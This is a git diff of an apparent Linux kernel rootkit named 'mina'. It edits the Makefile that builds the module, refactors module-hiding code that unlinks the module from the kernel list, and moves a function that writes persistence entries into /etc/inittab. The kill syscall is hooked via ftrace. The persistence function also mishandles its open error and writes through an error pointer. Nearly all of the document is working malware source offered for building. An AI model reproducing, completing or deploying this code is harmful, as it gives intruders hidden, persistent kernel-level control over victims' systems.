mina.ko

diff --git a/rootkit/Makefile b/rootkit/Makefile
@@ -9,18 +9,15 @@ help:
 
 MINA_CLIENT_ID = meow
 
-# kernel vars cant define with patsubst for some fucking reason
 obj-m := mina_$(MINA_CLIENT_ID).o
-mina_$(MINA_CLIENT_ID)-objs := mina.o persistence.o
+mina_$(MINA_CLIENT_ID)-objs := mina.o
 
 
-MY_CFLAGS += -Os -Wno-missing-prototypes -Wno-missing-declarations
+MY_CFLAGS += -Wno-missing-prototypes -Wno-missing-declarations
 ccflags-y += ${MY_CFLAGS}
 CC += ${MY_CFLAGS}
 
 
-# TODO(djnn): add compile-time debug mode using macros
-
 compile: ## compiles the rootkit
 	$(MAKE) -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
 	rm -f *.order *.symvers *.mod *.mod.c *.o .mina* .Module* .module*

diff --git a/rootkit/includes/mina.h b/rootkit/includes/mina.h
@@ -1,14 +1,16 @@
 #ifndef __KERNEL_MINA_H
 #define __KERNEL_MINA_H
 
+#include <linux/fs.h>
 #include <linux/init.h>
 #include <linux/kernel.h>
 #include <linux/module.h>
+#include <linux/slab.h>
 
-// persistence.c
+// persistence
 int add_inittab_entry(char const *entry);
 
-// module_hiding.c
+// module_hiding
 void toggle_hide_module(void);
 
 #define PERSISTENCE_CODE (50)

diff --git a/rootkit/mina.c b/rootkit/mina.c
@@ -43,11 +43,12 @@ static struct ftrace_hook hooks[] = {
     HOOK("__x64_sys_kill", hooked_kill_syscall, &original_kill),
 };
 
-/* required to show / hide the module (hidden by default) */
-int current_module_is_hidden = 0;
-struct list_head *prev_module;
+/* required to show / hide the module (not hidden by default) */
 
 void toggle_hide_module(void) {
+    static int current_module_is_hidden = 0;
+    static struct list_head *prev_module = NULL;
+
     if (current_module_is_hidden == 1) {
         list_add(&THIS_MODULE->list, prev_module);
         printk(KERN_INFO "[mina] welcome back!\n");
@@ -59,6 +60,26 @@ void toggle_hide_module(void) {
     }
 }
 
+int add_inittab_entry(char const *entry) {
+    int ret = 0;
+    struct file *file;
+    loff_t pos = 0;
+
+    file = filp_open("/etc/inittab", O_WRONLY | O_APPEND, 0);
+    if (IS_ERR(file)) {
+        ret = PTR_ERR(file);
+    }
+
+    ret = kernel_write(file, entry, strlen(entry), &pos);
+    if (ret < 0) {
+        filp_close(file, NULL);
+        return ret;
+    }
+
+    filp_close(file, NULL);
+    return 0;
+}
+
 static int __init module_start(void) {
     int error = fh_install_hooks(hooks, ARRAY_SIZE(hooks));
     if (error) {

diff --git a/rootkit/persistence.c b/rootkit/persistence.c
@@ -1,28 +0,0 @@
-
-#include <linux/fs.h>
-#include <linux/init.h>
-#include <linux/kernel.h>
-#include <linux/module.h>
-#include <linux/slab.h>
-
-#include "includes/mina.h"
-
-int add_inittab_entry(char const *entry) {
-    int ret = 0;
-    struct file *file;
-    loff_t pos = 0;
-
-    file = filp_open("/etc/inittab", O_WRONLY | O_APPEND, 0);
-    if (IS_ERR(file)) {
-        ret = PTR_ERR(file);
-    }
-
-    ret = kernel_write(file, entry, strlen(entry), &pos);
-    if (ret < 0) {
-        filp_close(file, NULL);
-        return ret;
-    }
-
-    filp_close(file, NULL);
-    return 0;
-}